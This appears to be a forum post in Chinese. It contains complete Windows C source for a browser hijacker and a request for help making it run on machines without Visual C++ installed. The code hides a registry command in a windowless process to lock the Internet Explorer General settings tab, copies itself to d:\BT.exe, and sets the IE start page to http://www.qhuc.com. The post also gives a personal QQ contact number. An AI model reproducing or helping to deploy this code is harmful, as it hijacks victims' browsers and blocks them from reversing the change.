#include <windows.h> 
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PTSTR szCmdLine, int iCmdShow){ 
char dir[50];
STARTUPINFO  si2;  
ZeroMemory(&si2,  sizeof(si2));  
si2.cb  =  sizeof  STARTUPINFO;  
PROCESS_INFORMATION  pi2;  
BOOL  res2  =  CreateProcess(NULL,  
"reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel\" /v GeneralTab /t REG_DWORD /d 0 /f ",  //  dos
NULL,  
NULL,  
NULL,  
NORMAL_PRIORITY_CLASS    |  CREATE_NO_WINDOW,  
NULL,  
NULL,  
&si2,
&pi2);   GetModuleFileName(NULL,dir,50);CopyFile(dir,"d:\\BT.exe",FALSE);
 char regname[]="Software\\Microsoft\\Internet Explorer\\main";
HKEY hkResult;
int ret=RegOpenKey(HKEY_CURRENT_USER,regname,&hkResult);
ret=RegSetValueEx(hkResult,"Start Page",0,REG_SZ,(unsigned char *)"http://www.qhuc.com",27);
return 0; 
};
有什么办法可以使程序在没装vc的机子上运行?
如果有谁可以帮我搞定的话.加我qq好嘛? 312869657